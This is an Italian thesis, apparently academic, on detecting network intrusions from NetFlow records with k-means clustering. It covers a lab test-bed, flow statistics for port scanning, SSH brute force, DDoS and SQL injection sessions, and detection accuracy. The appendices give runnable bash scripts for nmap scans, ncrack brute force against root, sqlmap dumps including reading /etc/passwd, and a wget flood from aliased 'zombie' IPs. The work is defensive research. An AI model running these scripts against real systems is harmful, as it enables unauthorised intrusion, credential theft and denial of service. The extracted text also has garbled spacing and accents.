  • 22. 3.3 NFDump 15 Figura 3.3: Esempio di report generato con nfdumpnfdump -r ./folder/* -o longDopo di che viene generato il report in Figura 3.3 dove sono disponibilinumerose informazioni riguardante i flussi, tra cui il numero di pacchettitransitati, i byte totali del flusso, l’esatto istante in cui il dispositivo hacreato il flusso, la sua durata, i flag delle PDU TCP notati nei segmenti intransito ed alcune statistiche sulla globali.
  • 23. 16 3. NetFlow Durante la configurazione del test-bed sono stati utilizzati sia nfdump che ne nfcapd con particolari configurazioni in modo da ottenere sia report globali delle sessioni, sia report minuto per minuto.
  • 24. Capitolo 4Data Mining Come anticipato precedentemente, nell’elaborato si propone di utilizzaretecniche di data mining per estrarre modelli predittivi da dati collezionatidagli intermediate systems; perci` risulta particolarmente utile presentare oalcuni concetti e tassonomie di base atte a meglio collocare il framework pre-sentato dall’elaborato.Gli algoritmi di data mining si possono caratterizzare in due principali tipologie[8,node34]: • Algoritmi supervisionati, i quali inferiscono una funzione di previsione da set di dati supervisionati, ovvero selezionati per la loro rappresenta- tivit` del caso reale. Tali algoritmi hanno quindi necessit` di una fase a a di addestramento preliminare. • Algoritmi non supervisionati, che tentano di trovare strutture predittive o pattern nascosti su dati non etichettati, ovvero non supervisionati. Tra queste tipologie risulta molto utile agli scopi preposti dell’elaboratola branca degli algoritmi non supervisionati, che si rivelano utili ad estrarrepattern dalla mole di dati raccolta durante la fase sperimentale.4.1 Algoritmi Non Supervisionati Tale tipologia di algoritmi presenta un vantaggio fondamentale rispettoagli algoritmi supervisionati: la non neccessariet` di una fase di addestramento[7, acap.4.1]. Questa caratteristica non implica solo un un vantaggio in terminidi risorse in quanto viene elimiata la fase di selezione di training-set dal pro-cesso di Knowledge Detection, ma ancora pi` importante risulta possibile uaffrontare una nuova classe di problemi che le gli algoritmi supervisionati 17
  • 25. 18 4. Data Mining supportano. Infatti il limite che viene superato sta proprio nello svincolare il processo di estrazione dai dati di training, i quali - specie in problemi con elevata complessit` - potrebbero essere indecidibili a priori in quanto non a noto il pattern che si sta cercando di prevedere. Nella branca degli algoritmi non supervisionati si possono distinguere due principali approci: • Data clustering, basato sulla definizione di metriche, sulla misurazione della distanza tra gli oggetti dello spazio ed il loro successivo rag- gruppamento in gruppi (cluster ). L’algoritmo utilizzato per gli scopi dell’elaborato utilizza proprio un approcio di questo genere. • Association rules[9, cap.6], basato sulla determinazione di regole as- sociative inferite considerando le frequenze delle correlazioni tra gli oggetti dello spazio in esame. 4.2 Data Clustering In letteratura sono state descritte varie tipologie di algoritmi per il data clustering tra cui quelli gerarchici, quelli fondati sul concetto di densit`, a basati su approci statistici e quelli partitivi [5, cap.2]. 4.2.1 Algoritmi gerarchici Algoritmi di tipo gerarchico pongono principalmente enfasi sulla costruzione di un albero di cluster, tramite il quale si esprime il legame gerarchico tra i pattern appartenenti ai cluster. Esistono due modus operandi tipici di questa branca di algoritmi[5, 9]: • agglomerativo, il quale parte dal basso e raggruppa i pattern fino a creare tutta la gerarchia dei cluster. • divisivo, complementare al precedente (da root a foglie), nel quale si scinde il nodo principale in vari sotto-cluster. In tali algoritmi risulta quindi importante il concetto di dissimilarit`, il quale a pilota le scelte di fusione - o scissione - dei cluster. Per questa ragione hanno rilievo le metriche ed i criteri di collegamento scelti nelle specifiche istanze di questa tipologia di algoritmi.
  • 26. 4.3 K-means 194.2.2 Algoritmi Density-based Negli algoritmi density based, invece il focus ` sulla densit` della popo- e alazione nelle regioni dello spazio osservato[9, 5, cap.8.4]. L’idea che sta allabase di questo approcio al data clustering ` che gli oggetti non siano equidis- etribuiti, ma bens` siano osservabili zone con concentrazioni di oggetti pi` ı uelevate separate da regioni dello spazio osservato con densit` meno elevata. a4.2.3 Algoritmi Partitivi Un’ulteriore tipologia si ha con gli algoritmi partitivi, dove si cerca ag-glomerare i dati in cluster utilizzando un approcio bottom-up [5]. Nonostanteabbiano alcuni concetti in comune con gli algoritmi gerarchici - ad esempiol’importanza della metrica adottata metrica - vi si differenziano per le tipolo-gie di cluster che riescono a formare, infatti non prevedono vincoli gerarchicisui raggruppamenti tendono, appunto, a partizionare lo spazio osservato ininsiemi disgiunti[9, cap.8.1.2]. Maggiori dettagli di questa classe di algoritmiper il data mining verranno discussi nella sezione successiva, dove si porr` aenfasi sull’algoritmo k-means.4.3 K-means L’algoritmo k-means, utilizzato anche nelle sperimentazioni proposte nel-l’elaborato, ` categorizzabile come algoritmo di clustering partitivo[9, 5]. Es- eso prevede la partizione dell’insieme osservato in k cluster - con k arbitrario- specificando altrettanti centroidi, ovvero elementi che si presuppongono alcentro del cluster, e collocando il resto degli elementi nel cluster a cui ap-partiene il centroide pi` vicino. In seguito l’algoritmo prevede che vengano usvolte diverse itarazioni nelle quali si esegue il ricalcolo dei centroidi - comebaricentri del cluster - e si rivedono le assegnazioni degli elementi.Risulta chiaro che ` molto importante la definizione della metrica con la quale esi determinano le distanze tra gli elementi dello spazio, infatti l’appartenen-za di un elemento ad un cluster ` decisa in base alla vicinanza al centroide eche lo caratterizza. Pi` in dettagli la funzione obiettivo di questo algoritmo u` minimizzare la norma1 al quadrato degli elementi del cluster dai propriecentroidi: k 2 min x − mi i=1 x∈Si 1 Quindi lo spazio osservato deve essere uno spazio normato
  • 27. 20 4. Data Mining Dove Si ` l’insieme degli elementi del cluster i-esimo ed mi il suo centroide. e Tipicamente vengono svolte numerose iterazioni di questo algoritmo variando la posizione iniziale dei centroidi, in questa maniera si riescono ad individ- uare soluzioni di buona qualit` selezionando tra tutte le soluzioni generate[5, a cap.2]. In generale risulta spesso impossibile trovare soluzioni ottimali con algoritmi di clustering, proprio per questo si utilizzano algoritmi euristici come quello appena descritto.
  • 28. Capitolo 5Framework Proposto In seguito si presenteranno scenari, metodologie ed esperimenti volti a de-scrivere ed a validare l’approcio che l’elaborato propone per la realizzazionedi un NIDS che sfrutta una logica di rilevazione basata sull’utilizzo di modellicomportamentali estratti da dati riguardanti i flussi di rete, raccolti tramiteogni dispositivo NetFlow-like compatibile.La soluzione proposta pu` risultare particolarmente interessante quando il ocampionamento diretto del traffico di rete risulta troppo oneroso, o sem-plicemente quando nello scenario reale non si ` disposti ad installare nuovo ehardware per le rilevazioni.5.1 Scenario Applicativo Lo scenario di riferimento ` quello proposto in Figura 5.1, dove ` schemati- e ecamente rappresentata la topologia di una rete di produzione, simile a diverserealt` odierne. Da notare che l’unica accorgimento da tenere in consider- aazione per il deployment del sistema proposto, ` quello di riservare almeno euna network ip - possibilmente non raggiungibile ne dall’esterno ne daglihost dell’organizzazione - nella quale installare le macchine per il colleziona-mento/analisi dei record NetFlow; da ricordare che tale pratica ` comunque esempre consigliata in scenari minimamente complessi in cui sia necessarioavere una buona separazione logico/funzionale della rete.E’utile notare che nello scenario illustrato si pone enfasi sulla rilevazione degliattacchi, ma nonostante ci` ` possibile figurare una possibile evoluzione ag- oegiungendo caratteristiche di proattivit` al sistema proposto. Infatti, in uno ascenario pi` completo, risulta interessante pensare ad una interazione del usistema con altri dispositivi di rete - eg.firewall - in grado di bloccare gliattacchi in corso. Perci` scenari e metodologie presentate, vanno interpretati o 21
  • 29. 22 5. Framework Proposto come modelli di riferimento sui quali basarsi per la realizzazione di sistemi di rilevamento d’intrusioni pi` complessi. u Figura 5.1: Scenario applicativo di riferimento per NIDS basati su NetFlow 5.2 Metodologia L’applicazione di tecniche di data mining non supervisionato ai dati collezionati tramite NetFlow pone un problema non banale in quanto occorre s` testareı tale soluzione in un ambiente controllato, ma allo stesso tempo occorre anche ricavare dalle sessioni di test dati significativi anche per scenari reali. Per questa ragione si ` scelto di procedere con un approcio similare a quello e utilizzato in precedenti lavori affini[6], ovvero orientare la sperimentazione di laboratorio ad una logica emulativa, in altre parole ricreare sessioni speri-
  • 30. 5.2 Metodologia 23mentali che emulino un contesto realistico. Coerentemente a questa scelta, ` eopportuno che le sessioni di laboratorio siano partizionate all’interno di pi` ustage che permettano di emulare i varie tipologie di comportamenti possibili: • Neutral Stage, dove vengono raccolti dati sui flussi emulando compor- tamenti benevoli da parte degli host. • Attack Stage, dove vengono eseguite varie sessioni di attacco utilizzando tecniche differenti. • Realistic Stage, dove gli attacchi vengono sferrati in contemporanea al traffico neutrale. Oltre la definizione di sessioni e stage sperimentali, occorre anche esplic-itare gli step da effettuare durante le varie prove, in modo da garantire laripetibilit` dei test eseguiti. aIn Figura 5.2 sono identificabili varie attivit` principali, ognuna delle quali acomprende al suo interno una o pi` azioni legate tra loro in una successione utemporale.
  • 31. 24 5. Framework Proposto Figura 5.2: Attivit` per la fase sperimentale a Tra le varie attivit` risultano particolarmente importanti per la buona a riuscita delle sperimentazioni, le attivit` di: a • configurazione dei servizi, in quanto la scelta delle tipologie dei servizi deve comunque essere rappresentativa di una realt`; a • setup delle macchine per il collezionamento dei record NetFlow, in
  • 32. 5.3 Test-bed 25 quanto pu` essere significativo decidere con quale granularit` si in- o a tende estrarre i record sui flussi mantenuti sulle cache NetFlow degli ISs; • generazione traffico, in quanto anch’esso deve essere emulato in maniera quanto pi` conforme alla realt`; u aInfine, risultano altrettanto importanti le attivit` di processamento ed analisi adei dati, in quanto saranno le uniche che forniranno risposte sulle peculiarit` adei flussi.5.3 Test-bed La rete utilizzata per i test sperimentali ` anch’essa ispirata allo sce- enario di riferimento descritto precedentemente. In Figura 5.3 ` illustrata ela topologia della rete implementata per effettuare le prove sperimentali.Nella fattispecie ` stata configurata una macchina server sulla quale sono eattivi un servizi HTTP ed SSH, un host sul quale vengono collezionati irecord NetFlow ed ulteriori macchine sulle quali vengono emulati i vari client(benevoli o malevoli) che accedono a tali servizi. Da notare che all’internodel server web ` stata anche pubblicata una pagina dinamica vulnerabile a eBlind Sql-Injection: ci` risulta indispensabile per poter effettuare una ses- osione sperimentale che emuli lo scenario in cui un host malevolo sfrutta talevulnerabilit` per ottenere il dump dell’intero database di back-end. a Infine, la macchina che ospita il collector, installata su di una network sep-arata e non raggiungibile dagli altri host, ` stata equipaggiata con il demone enfcapd [23] per il collezionamento dei record NetFlow, configurato in modo dasalvare minuto per minuto i flussi raccolti e produrre un report riguardantetale intervallo temporale. In questo modo saranno a disposizione per l’analisisia dati globali della sessione, che ne fotografie scattate ai flussi durante tuttol’arco della prova.Naturalmente il test-bed descritto ` stato implementato in un ambiente con- etrollato ed isolato, in modo da prevenire il verificarsi di interferenze chepotrebbero alterare i risultati delle sessioni di prova.
  • 33. 26 5. Framework Proposto Figura 5.3: Topologia del testbed 5.4 Sessioni e Risultati La fase sperimentale ` stata strutturata in 6 sessioni basate sulla metodolo- e gia precedentemente descritta. Le prove condotte sono state effettuate con l’ausilio di vari tool ed altrettanti script creati/modificati ad hoc, in dettaglio sono stati utilizzati per i seguenti scopi: • generazione di traffico neutro[7] • esecuzione di pi` scansioni con nmap[13]. u • tentare attacchi dictionary-based a servizi ssh, sfruttando ncrack[17]. • emulare un attacco DDoS su di un web server da parte di numerosi client. • sfruttare vulnerabilit` di applicazioni web, con l’ausilio di sqlmap[15]. a • generare traffico realistico, dove vari attacchi sono portati in contem- poranea a richieste benevole.
  • 34. 5.4 Sessioni e Risultati 27 Le sessioni effettuate hanno avuto durata differente a seconda della lorotipologia in virt` della natura stessa dell’attacco, ad esempio si pu` notare u ocome la sessione di SBF risulti temporalmente molto pi` estesa rispetto a uquella di SQL-I a causa della scelta di credenziali forti per il servizio SSH.In seguito - Tabella 5.4 - sono riportate alcune statistiche di carattere generalesui dati riguardanti i flussi di rete raccolti, mentre nelle sezioni successive sonodescritte le caratteristiche dei flussi registrati basate su osservazioni in stileforense. Sessione Flussi Bytes Packets Bps Pps Bpp Durata Traffico Neutro 298343 352486984 5694791 76366 154 61 633 min. Port Scanning 16782 739426 17973 1777 5 41 64 min. SBF 20276 22970104 160275 16983 14 143 180 min. DDoS 481896 289380677 4319122 668652 1247 66 54 min. SQL-Injection 13734 15011876 69374 44642 25 216 45 min. Traffico Reale 714677 418801331 6114456 178714 326 68 360 min. Tabella 5.1: Statistiche generali sui flussi collezionati
  • 35. 28 5. Framework Proposto Figura 5.4: Campione di flussi sessione Traffico Naturale 5.4.1 Traffico Neutro Questa sessione ` di rilevante importanza perch´ essa rappresenta la base e e di partenza per l’analisi anche delle successive sessioni. Perci`, prima di tutto, occorre spiegare come sono stati ricreati i pattern per o il traffico neutrale[6, 7]: tali modelli sono stati ricavati dall’analisi di una cattura di traffico da una backbone (pubblicata da CAIDA[24] - Coopera- tive Association for Internet Data Analysis) dalla quale sono state isolate le interazioni di pi` client a determinati servizi, poi utilizzate per estrarne u pattern temporali - eg. timing delle richieste - e dimensionali - grandezza delle risorse richieste ai servizi (ad esempio dimensione delle pagine web). In Figura 5.4.1 - e nelle successive figure del capitolo - ` mostrata una sezione e del report generato con nfdump dove vengono riportati timestamp, dura- ta, protocollo, ip:porta sorgente, ip:porta destinazione, Flag TCP, Type of Service, numero pacchetti e totale byte riguardanti ogni flusso registrato.
  • 36. 5.4 Sessioni e Risultati 29 Figura 5.5: Campione di flussi sessione Port Scanning5.4.2 Port Scanning Tra le caratteristiche osservabili nei record NetFlow registrati (Figura 5.4.2)in questa sessione vi sono: • la minor durata temporale di ogni singolo flusso rispetto alla sessione precedente; • la maggior concentrazione di PDU inviate da un singolo host; • grande variet` di porte destinazione sondate da un singolo host; a • mancanza di flag FIN nel flussi registrati - tranne per alcuni tipi di scansioni, eg. Xmas; • flussi da pochi byte e composti da pochi pacchetti;
  • 37. 30 5. Framework Proposto 5.4.3 SSH Brute Force (SBF) In questa sessione le caratteristiche del traffico non sono cos` esplicite ı come nella precedente (Figura 5.4.3), ma si possono comunque notare alcuni interessanti elementi: • connessioni contemporanee e parallele da uno stesso host al servizio; • durata dei flussi quasi fissa, infatti il demone SSH utilizzato prevede 3 tentativi prima terminare la connessione; • burst di flussi simili replicati nel tempo; Figura 5.6: Campione di flussi sessione SBF
  • 38. 5.4 Sessioni e Risultati 315.4.4 DDoS Sessione particolarmente interessante in quanto gli effetti di un attaccoDDoS si possono riscontrare anche in caso di improvvisi picchi di utenza.Le discriminanti per il riconoscimento di tale attacco sono state: • l’aumento innaturale e repentino del numero di flussi registrati nel periodo; • la perdita degli intervalli temporali tipici tra richieste effettuate da uno stesso;Altro indicatore pu` essere la somiglianza tra i flussi registrati, anche se ques- ota caratteristica pu` avere margini di ambiguit` in quanto tale somiglian- o aza potrebbe esser dovuta alle richieste di una particolare risorsa divenutaimprovvisamente “popolari”. Figura 5.7: Campione di flussi sessione DDoS
  • 39. 32 5. Framework Proposto 5.4.5 SQL-Injection Anche in questo caso risultano esserci margini di ambiguit` in quanto a si sta osservando il fenomeno dal livello di trasporto. Nonostante ci` alcune o considerazioni sui flussi raccolti possono essere comunque effettuate, si notano infatti: • flussi serrati, non vi sono pi` le naturali pause nelle richieste al servizio, u e trattandosi di un servizio web ci` lascia intendere che non ci sia un o umano dietro a quelle richieste; • durate dei flussi simili tra loro; • grandezza in byte dei flussi altrettanto simili, in quanto si presuppone che vengano effettuate richieste sempre alla stessa pagina vulnerabile; Figura 5.8: Campione di flussi sessione SQL-I
  • 40. 5.4 Sessioni e Risultati 335.4.6 Traffico Realistico L’ultima sessione ` stata realizzata emulando in successione le varie tipolo- egia di attacco gi` sperimentate nelle prove precedenti. Come gi` anticipato a agli attacchi sono stati lanciati in contemporanea al traffico neutrale utilizzatoall’inizio della fase sperimentale.Nonostante la maggiore entropia derivante dalle grandi quantit` di flussiacollezionati ` stato possibile riconoscere alcuni pattern osservati negli attac- echi esaminati precedentemente.In Figura 5.4.6 si notano, evidenziati in arancione, segmenti TCP caratter-izzati dai flag UPF attivi, il che ci indica la possibilit` che si stia verificando auno port scanning, presumibilmente con tecnica Xmas, all’interno della rete.Altro pattern riscontrato ` quello d’attacco SBF, dove si possono notare pi` e uconnessioni di durata limitata aperte dallo stesso host in un ristretto interval-lo temporale (Figura 5.4.6). Successivamente ` stato possibile notare anche epossibili attacchi SQL-I in quanto diversi flussi partiti da uno stesso hosthanno avuto dimensione pressoch´ identica e distribuzione nel tempo innat- eurale (Figura 5.4.6). Anche nel caso di attacco DDoS da parte di numerosiclient “infetti” ` risultato individuabile, in quanto tipicamente in questo tipo edi attacco i partecipanti richiedono contemporaneamente e continuamente lastessa risorsa (Figura 5.4.6). Figura 5.9: Port Scanning (Xmas scan) con traffico realistico
  • 41. 34 5. Framework Proposto Figura 5.10: SBF con traffico realistico Figura 5.11: SQL-I con traffico realistico
  • 42. 5.5 Analisi Dei Dati 35 Figura 5.12: DDoS con traffico realistico5.5 Analisi Dei Dati Le precedenti osservazioni effettuate sui dati relativi ai flussi di rete sug-geriscono quindi di approfondire ulteriormente le analisi. Come gi` anticipa- ato, ` stato quindi adottato un differente approccio all’analisi dei dati, ispirato ea quanto sperimentato in lavori precedenti su NIDS basati su SNMP[6].Tale tipologia di analisi prevede infatti la definizione di un set di variabiliche possano efficientemente rappresentare lo stato della rete, ed in seguitol’individuazione - tramite tecniche di data mining - di soglie caratterizzantiche possano permettere di rilevare attacchi di rete all’interno di traffico reale.La variabili artificiali sono state costruite in maniera tale da poter ottenereformati simili a quelli proposti in [6, cap.3] con lo scopo di riutilizzare quantopi` possibile l’algoritmo k-means sviluppato e testato per l’occasione. Nonos- utante l’impostazione scelta, si ` per` deciso di non uniformare completamente e ole variabili create con quelle suggerite in [6], infatti il protocollo NetFlow offrediverse opportunit` tra cui statistiche di sessione e vari minuziosi dettagli sui aflussi registrati, perci` s` ` scelto di sfruttare queste peculiarit` per costruire o ıe avariabili leggermente differenti dalle precedenti. Le variabili artificiali indi-viduate per questo scopo sono riportate in Tabella 5.5, esse vengono utilizzateper comporre una tupla che caratterizza un’intervallo temporale di campi-onamento. Specificatamente, nel test-bed utilizzato per le sperimentazioni
  • 43. 36 5. Framework Proposto tale intervallo ` stato fissato ad 1 minuto, ci` significa che ogni record inserito e o nelle tabelle artificiali costruite caratterizza un intero minuto di traffico. In accordo con la metodologia adottata, le tabelle generate sono poi state usate come data set nella fase di data mining, sono state quindi processate da pi` istanze1 dell’algoritmo k-means descritto nei precedenti capitoli. In u seguito all’individuazione delle soglie critiche, s` ` proceduto a verificare tali ıe risultati tramite utilizzo delle stesse come discriminante per il rilevamento, in tal modo ` stato possibile calcolare l’accuratezza del sistema che, come da e letteratura, viene definita come: TP + TN Accuracy = TP + TN + FP + FN Dove T P sono i veri positivi (attacchi rilevati), T N i veri negativi (traffico neutro), F P i falsi positivi (traffico neutro scambiato per attacco) ed F N i falsi negativi (attacchi scambiati per traffico normale). In Tabella 5.5 sono riportate le statistiche ottenute in seguito alle analisi preliminari. Da essi si pu` notare come, nel complesso, il sistema abbia buoni livelli di accuratezza o e come risolva uno dei problemi tipici dei pi` classici NIDS behaviour-based, u ovvero alto numero di falsi positivi e successivi re-training. Media Dev.Std. Moda Min Max Falsi Negativi (%) 0.09 0.71 0 0 15.43 Falsi Positivi (%) 15.64 7.68 19.50 3.61 34.85 Accuratezza (%) 76.56 2.47 78.85 64.75 81.56 Tabella 5.2: Statistiche del sistema 1 La sessione preliminare di analisi ha previsto 1000 utilizzi dell’algoritmo k-means sui data set
  • 44. 5.5 Analisi Dei Dati 37 1 Timestamp 2 Flows 3 Bytes 4 Packets 5 Byte per Second (AVG) 6 Packet per Second (AVG) 7 Byte per Packet (AVG) 8 Client IP 1 9 Client IP 2 10 Client IP 3 11 nSYN Client IP 1 12 nSYN Client IP 2 13 nSYN Client IP 3 14 nRES Client IP 1 15 nRES Client IP 2 16 nRES Client IP 3 17 nACK Client IP 1 18 nACK Client IP 2 19 nACK Client IP 3 20 nSYNACK Client IP 1 21 nSYNACK Client IP 2 22 nSYNACK Client IP 3 23 nICMP Client IP 1 24 nICMP Client IP 2 25 nICMP Client IP 3 26 Server IP 1 27 First common port on Server IP 1 28 Second common port on Server IP 1 29 Third common port on Server IP 1 Tabella 5.3: Variabili artificiali significative estratte da record NetFlow5.5.1 Prestazioni Occorre precisare che la generazione di queste variabili artificiali non risul-ta essere un fardello computazionale eccessivo, infatti le computazioni delletabelle hanno impegnato una comune workstation2 per non pi` di 10 minuti. uIn seguito si ` deciso di eseguire alcuni benchmark sulla stessa workstation ee si sono ottenuti significativi risultati che permettono, almeno potenzial-mente, di considerazione di scenari applicativi ancora pi` vasti rispetto a u 2 Caratteristiche workstation: RAM 4GB, CPU Intel i3
  • 45. 38 5. Framework Proposto quelli prefissati. Nella fattispecie in Tabella 5.5.1 si nota come - sempre in riferimento alla workstation utilizzata - il tempo medio di calcolo delle variabili artificiali - considerando slot da 570 flussi - risulta essere estremamente inferiore all’in- tervallo temporale considerato per la raccolta dei dati (1 minuto, come da specifiche test-bed). Flussi Intervalli (Int) Flussi per Int. Tempo tot. Tempo Int. Stima incidenza Flusso 178714 313 570 150 sec 0.479 sec 0.0008 sec Tabella 5.4: Risultati Benchmark per calcolo nuove tuple Inoltre, eseguendo alcuni semplici calcoli ` possibile attribuire il carico e computazionale dell’intervallo ai singoli flussi, nel nostro caso calcolato in circa 0.0008 sec per flusso, ed effettuare stime sulla capacit` limite del sis- a tema. In particolare se si assume che il delta di carico computazionale che si avrebbe aggiungendo un flusso all’intervallo ` pari al contributo preceden- e temente calcolato, risulta che il sistema pu` riuscire ad operare tali calcoli o “online”3 fino ad numero di record per intervallo di circa 75000. Ovviamente tale numero ha senso solo se si considerano intervalli da un minuto, come pro- posto nell’elaborato, altrimenti occorre ripetere i calcoli con altri parametri. Ci` significa che anche con l’utilizzo di macchine di fascia media si possono o ottenere ottime prestazioni per la rilevazione di attacchi di rete in tempo reale. 3 Il calcolo delle variabili artificiali deve essere minore del tempo dell’intervallo
  • 46. Conclusioni Nell’elaborato ` stato proposto un approccio alla rilevazione di intrusioni ebasato sul riconoscimento di pattern comportamentali malevoli all’internodelle registrazioni dei flussi di rete, ipotetici scenari applicativi per questosistema e metodologie per la realizzazione di test pratici. In seguito sonostati presentati i risultati di varie sessioni sperimentali nelle quali sono statiemulati diversi scenari.Analizzando i risultati collezionati si pu` notare come i pattern comporta- omentali malevoli siano riscontrabili anche in scenari realistici, dove, in con-temporanea, numerosi client svolgono le loro normali operazioni di rete.Gli output di queste analisi indicano anche che il particolare approccio pro-posto nell’elaborato risulti avere gi` buoni livelli di efficacia ed ulteriori amargini di miglioramento, il che rende il sistema un ottimo candidato comebase per soluzioni NIDS pi` complesse ed integrabili in ambienti di pro- uduzione. Oltre a ci`, ` stato mostrato come l’utilizzo del sistema proposto o esia computazionalmente efficiente e non richieda hardware speciale, renden-dolo adatto anche a scenari distribuiti, in cui possono essere presenti pi` umonitor in varie aree della rete.In fine, le metodologie proposte risultano interessanti anche in vista di fu-ture espansioni, come ad esempio l’introduzione di proattivit` nel sistema, arealizzabile con la progettazione di un livello d’interazione con dispositivi ingrado di attuare cambiamenti alla rete. 39
  • 47. 40 CONCLUSIONI
  • 48. Appendice AConfigurazioniA.1 Router Cisco Di seguito la configurazione settata su iOS 12.4 per abilitare NetFlow.!version 12.4service timestamps debug datetime msecservice timestamps log datetime msecno service password-encryption!hostname 2801A![...]!flow exporter flowexp-1 description test exporter. DO NOT TOUCH destination 10.255.100.1 transport udp 9996!!flow exporter flowexp-2 description flow exporter for immediate monitor destination 10.255.100.1 transport udp 9997!!flow monitor flowmon-1 description test flow monitor. DO NOT TOUCH record netflow ipv4 original-input exporter flowexp-1!!flow monitor flowmon-2 description monitor with immediate cache record netflow ipv4 original-input exporter flowexp-2 cache type immediate![...]!interface FastEthernet0/0 41
  • 49. 42 A Prima Appendice description Management Interface - KEEP IT UP AND DO NOT MODIFY! ip address 192.168.8.249 255.255.255.0 duplex auto speed auto ! interface FastEthernet0/1 no ip address duplex auto speed auto ! interface FastEthernet0/1.101 encapsulation dot1Q 101 ip address 10.255.101.254 255.255.255.0 no cdp enable ! interface FastEthernet0/1.111 encapsulation dot1Q 111 ip address 10.255.111.254 255.255.255.0 ip flow monitor flowmon-1 input ip flow monitor flowmon-2 input ip flow ingress no cdp enable ! interface Serial0/1/0 ip address 10.110.110.1 255.255.255.252 encapsulation ppp shutdown ! interface Serial0/1/1 ip address 10.130.130.1 255.255.255.252 encapsulation ppp shutdown ! interface FastEthernet0/3/0 ip address 10.255.100.254 255.255.255.0 duplex auto speed auto ! ip forward-protocol nd ! ! [...] scheduler allocate 20000 1000 end A.2 Collector Script e comandi per configurazione collector. #!/bin/bash # Dependencies: nfdump # # $1 is the captured file path # $2 is the log file where to appens elaborated data # $3 time of the capture # # Usage: # Use it in combination with nfcapd’s -x param # Example: # nfcapd -b 10.255.100.1 -p 9996 -t 60 -l ./nf-capture -x "$0 %d/%f log %t"
  • 50. A.2 Collector 43capturedfile=$1logfile=$2time=$3touch $logfiletouch "$logfile.human"echo "Captured@$time" >> $logfileecho "Captured@$time" >> "$logfile.human"nfdump -r $capturedfile -o csv >> $logfilenfdump -r $capturedfile -o long >> "$logfile.human"
  • 51. 44 A Prima Appendice
  • 52. Appendice BScript Sessioni In seguito gli script utilizzati durante le sessioni sperimentaliB.1 Port Scanning#!/bin/bash# Dependencies: nmapecho " "echo "*******************"echo " Nmap Attack Script "echo "*******************"echo " "echo "Usage: $0 <netmask>"if [ "$(id -u)" != "0" ]; then echo "This script must be run as root" exit 1fiservervlanID="101"timeout="600" #10 minsnmap -sS 10.255.$servervlanID.0/$1sleep $timeoutnmap -sT 10.255.$servervlanID.0/$1sleep $timeoutnmap -sU 10.255.$servervlanID.0/$1sleep $timeoutnmap -sX 10.255.$servervlanID.0/$1sleep $timeoutnmap -sV 10.255.$servervlanID.0/$1sleep $timeoutnmap --Pn sS 10.255.$servervlanID.0/$1sleep $timeoutnmap -Pn -sT 10.255.$servervlanID.0/$1sleep $timeoutnmap -Pn -sU 10.255.$servervlanID.0/$1sleep $timeoutnmap -Pn -sX 10.255.$servervlanID.0/$1sleep $timeoutnmap -Pn -sV 10.255.$servervlanID.0/$1 45
  • 53. 46 B Seconda Appendice B.2 SBF #!/bin/bash # Dependencies: ncrack # SSH Bruteforce Attack Script echo " " echo "*****************************" echo " SSH Bruteforce Attack Script " echo "*****************************" echo " " # Basic and inefficent input control if [ $# -ne 3 ] then echo " The $0 needs 2 arguments: " echo " 1) Server IP address to attack " echo " 2) Password list file " echo " 3) Iterations " echo " Example: $0 192.168.8.1 ./password_file 50" echo " " exit 0 fi # Initialize input values ServerAddress=$1 PwdList=$2 c=1 while [ $c -le $3 ] do echo " *** STARTING ncrack*** " # hydra ncrack -v --user root -P $PwdList $ServerAddress:22 c=‘expr 1 + $c‘ done exit 0 B.3 SQL-I #!/bin/bash # Dependencies: python >= 2.7, sqlmap echo " " echo " ********************************* " echo " Sqli attack script " echo " ********************************* " echo " " pyth="~/Pithon/python" slqmp="~/sqlmap/sqlmap.py" host="10.255.101.1" page="pageloader?id=0" dumps[0]="--users" dumps[1]="--is-dba" dumps[2]="--privileges" dumps[3]="--dbs" dumps[4]="--common-tables" dumps[5]="--tables" dumps[6]="--columns-T Country" dumps[7]="--dump -T City" dumps[8]="--file-read=/etc/passwd" dumps[9]="--dump -D test" dumps[10]="--dump-all" c2=0 c=11
  • 54. B.4 DDoS 47echo " Clearing previous sessions.."rm -R $sqlmap/output/$hostecho " Cleared!"echo " "echo " Starting..."echo " "while [ $c2 -le $c ]doecho " Trying with ${dumps[$c2]} ..."echo ‘$pyth $sqlmap -v 1 -h http://$host/$page ${dumps[$c2]} --batch‘echo " "c2=‘expr $c2 + 1‘doneB.4 DDoS#!/bin/bash# Dependencies: wgetecho " "echo "*******************"echo " DDoS Attack Script "echo "*******************"echo " "# Basic and inefficent input controlif [ $# -ne 5 ]thenecho " The $0 needs 1 arguments: "echo " 1) First Host IP to simulate "echo " 2) Number of host to simulate"echo " 3) Server Address"echo " 4) Selected interface"echo " 5) Numer or request"echo " Example: $0 10.255.111.2 100 10.255.101.1 eth1.111 5000"echo " "exit 0fi# Initialize input valuesIPStart=$1HostNumber=$2ServerAddress=$3Interface=$4Counter=0# Splitting the IPse# Starting IPsAS=‘echo $IPStart | cut -d. -f1‘BS=‘echo $IPStart | cut -d. -f2‘CS=‘echo $IPStart | cut -d. -f3‘DS=‘echo $IPStart | cut -d. -f4‘while [ $Counter -lt $HostNumber ]doecho "Generating IP Alias = $AS.$BS.$CS.$DS"ifconfig $Interface:$Counter $AS.$BS.$CS.$DS netmask 255.255.255.0zombies[$Counter]="$AS.$BS.$CS.$DS"if [ ‘expr $DS + 1‘ -le 255 ]thenDS=‘expr $DS + 1‘elseif [ ‘expr $CS + 1‘ -le 255 ]then
  • 55. 48 B Seconda Appendice CS=‘expr $CS + 1‘ DS=0 else if [ ‘expr $BS + 1‘ -le 255 ] then BS=‘expr $BS + 1‘ CS=0 DS=0 else if [ ‘expr $AS + 1‘ -le 255 ] then AS=‘expr $AS + 1‘ BS=0 CS=0 DS=0 else AS=0 BS=0 CS=0 DS=0 fi fi fi fi Counter=‘expr $Counter + 1‘ done # while echo " " echo "Aliasing Finished !! " echo " " c2=1 c=$HostNumber last=$5 c3=1 echo " *** STARTING DDOS *** " echo " " while [ $c2 -le $HostNumber ] do # WebRequest wget -b -q -o ./workingdir/logtemp.log -O ./workingdir/temp.html --bind-address ${zombies[$c2]} http://$ServerAddress/4KB.html >> /dev/null c2=‘expr $c2 + 1‘ if [ $c2 -gt $c ] then echo " DDoSsing.." c2=1 c3=‘expr $c3 + 1‘ if [ $c3 -gt $last ] then exit 0 fi fi done B.5 Traffico Realistico #!/bin/bash echo " " echo "*****************************" echo " Realistic Traffic Generator " echo "*****************************"
